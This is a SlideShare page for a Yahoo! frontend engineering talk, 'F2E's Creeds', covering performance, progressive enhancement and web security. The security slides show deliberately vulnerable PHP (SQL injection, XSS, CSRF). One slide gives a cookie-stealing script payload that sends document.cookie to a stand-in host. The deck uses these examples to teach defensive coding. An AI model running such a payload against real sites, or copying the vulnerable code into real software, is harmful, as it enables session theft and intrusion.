F2E’s Creeds<br />Morgan Cheng<br />
Yahoo 1994<br />
Yahoo! 1995<br />
Yahoo! 2000<br />
First F2E Hired in 2001<br />
Yahoo! 2002<br />
Yahoo! 2006<br />
Yahoo! 2011<br />
More …<br />
~700 Frontend Engineers<br />
Frontend Skill Set<br />
Beyond Skill Set<br />
F2E’s Creeds<br />
Creed IPerformance is FeaturePerformance is Key Feature<br />
Slow Web Sites Won’t Win!<br />
Time Spent on Frontend<br />July 2008<br />
Frontend Optimization is Key to Website Performance<br />
14 Performance Best Practices<br />Make fewer HTTP requests<br />Use a CDN<br />Add an Expires header<br />Gzip components...
More …<br />…<br />Minimize DOM Operations<br />Develop Smart Event Handlers<br />Preload Components<br />…<br />http://de...
Focus on Perceived Performance<br />
Measure It!<br />
Creed IIProgressive Enhancement<br />
Browser World is Messy<br />
Web Layers<br />Behavior<br />Presentation<br />Content<br />
Graded Browser Support<br />http://developer.yahoo.com/yui/articles/gbs/<br />
A-Graded Browsers<br />
Unobtrusive JavaScript<br />
What is Obtrusive JavaScript <br /><input type=“text” name=“date” id=“data” onchange=“validateDate()” /><br />
What is Unobtrusive JavaScript <br /><input type=“text” name=“date” id=“date” /><br />document.getElementById(‘date’).<br ...
Creed IIIBe Paranoid<br />
The Web is So Vulnerable<br />
What’s wrong with this Code?<br /><?php<br />       …<br />       $sql = “DELETE * FROM users WHERE name = ‘” .  $_POST[‘u...
SQL Injection Attack<br /><?php<br />       …<br />       $sql = “DELETE * FROM users WHERE name = ‘” .  $_POST[‘username’...
What’s wrong with this Code?<br /><div><br />       You are referred from <?php echo $_GET[‘from’]; ?><br /></div><br />
XSS Attack<br /><div><br />       You are referred from <?php echo $_GET[‘from’]; ?><br /></div><br />What if the URL is <...
Your Cookie is Stolen<br /><div><br />       You are referred from </div><script>document.location='http://www.eval.com/cg...
What’s wrong with this Code?<br /><?php<br />       if (user_is_login()) {<br />delete_something();<br />       }<br />?><...
CSRF Attack<br /><?php<br />       if (user_is_login()) {<br />delete_something();<br />       }<br />?><br />The request ...
Attackers are Smart!<br />
Don’t Trust User Input<br />
Always Assume That Bad Guys Could Read Your Code<br />
Paranoids<br />
F2E’s Creeds<br />Performance is Key Feature<br />Progressive Enhancement<br />Be Paranoid<br />
Thanks<br />
F2E's Creeds
Upcoming SlideShare
Loading in …5
×

F2E's Creeds

802
-1

Published on

Published in: Technology
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
802
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
5
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide
  • In 2004
  • F2E's Creeds

    1. 1. F2E’s Creeds<br />Morgan Cheng<br />
    2. 2. Yahoo 1994<br />
    3. 3. Yahoo! 1995<br />
    4. 4. Yahoo! 2000<br />
    5. 5. First F2E Hired in 2001<br />
    6. 6. Yahoo! 2002<br />
    7. 7. Yahoo! 2006<br />
    8. 8. Yahoo! 2011<br />
    9. 9. More …<br />
    10. 10. ~700 Frontend Engineers<br />
    11. 11. Frontend Skill Set<br />
    12. 12. Beyond Skill Set<br />
    13. 13. F2E’s Creeds<br />
    14. 14. Creed IPerformance is FeaturePerformance is Key Feature<br />
    15. 15. Slow Web Sites Won’t Win!<br />
    16. 16. Time Spent on Frontend<br />July 2008<br />
    17. 17. Frontend Optimization is Key to Website Performance<br />
    18. 18. 14 Performance Best Practices<br />Make fewer HTTP requests<br />Use a CDN<br />Add an Expires header<br />Gzip components<br />Put CSS at the top<br />Move JS to the bottom<br />Avoid CSS expressions<br />Make JS and CSS external<br />Reduce DNS lookups<br />Minify JS<br />Avoid redirects<br />Remove duplicate scripts<br />Turn off ETags<br />Make AJAX cacheable and small<br />
    19. 19. More …<br />…<br />Minimize DOM Operations<br />Develop Smart Event Handlers<br />Preload Components<br />…<br />http://developer.yahoo.com/performance/rules.html<br />
    20. 20. Focus on Perceived Performance<br />
    21. 21. Measure It!<br />
    22. 22. Creed IIProgressive Enhancement<br />
    23. 23. Browser World is Messy<br />
    24. 24. Web Layers<br />Behavior<br />Presentation<br />Content<br />
    25. 25. Graded Browser Support<br />http://developer.yahoo.com/yui/articles/gbs/<br />
    26. 26. A-Graded Browsers<br />
    27. 27. Unobtrusive JavaScript<br />
    28. 28. What is Obtrusive JavaScript <br /><input type=“text” name=“date” id=“data” onchange=“validateDate()” /><br />
    29. 29. What is Unobtrusive JavaScript <br /><input type=“text” name=“date” id=“date” /><br />document.getElementById(‘date’).<br /> .addEventListener(‘change’, validateDate);<br />
    30. 30. Creed IIIBe Paranoid<br />
    31. 31. The Web is So Vulnerable<br />
    32. 32. What’s wrong with this Code?<br /><?php<br /> …<br /> $sql = “DELETE * FROM users WHERE name = ‘” . $_POST[‘username’] . “’”;<br /> $result = mysql_query($sql);<br />?><br />
    33. 33. SQL Injection Attack<br /><?php<br /> …<br /> $sql = “DELETE * FROM users WHERE name = ‘” . $_POST[‘username’] . “’”;<br /> $result = mysql_query($sql);<br />?><br />What if $_POST’username’] is <br />“x OR 1=1” ?<br />
    34. 34. What’s wrong with this Code?<br /><div><br /> You are referred from <?php echo $_GET[‘from’]; ?><br /></div><br />
    35. 35. XSS Attack<br /><div><br /> You are referred from <?php echo $_GET[‘from’]; ?><br /></div><br />What if the URL is <br />“http://www.yahoo.com/?from=</div><script>document.location='http://www.eval.com/cgi-bin/cookie.cgi? '%20+document.cookie</script><br />
    36. 36. Your Cookie is Stolen<br /><div><br /> You are referred from </div><script>document.location='http://www.eval.com/cgi-bin/cookie.cgi? '%20+document.cookie</script><br /></div><br />
    37. 37. What’s wrong with this Code?<br /><?php<br /> if (user_is_login()) {<br />delete_something();<br /> }<br />?><br />
    38. 38. CSRF Attack<br /><?php<br /> if (user_is_login()) {<br />delete_something();<br /> }<br />?><br />The request might not be user’s intention<br />
    39. 39. Attackers are Smart!<br />
    40. 40. Don’t Trust User Input<br />
    41. 41. Always Assume That Bad Guys Could Read Your Code<br />
    42. 42. Paranoids<br />
    43. 43. F2E’s Creeds<br />Performance is Key Feature<br />Progressive Enhancement<br />Be Paranoid<br />
    44. 44. Thanks<br />
    1. A particular slide catching your eye?

      Clipping is a handy way to collect important slides you want to go back to later.

    ×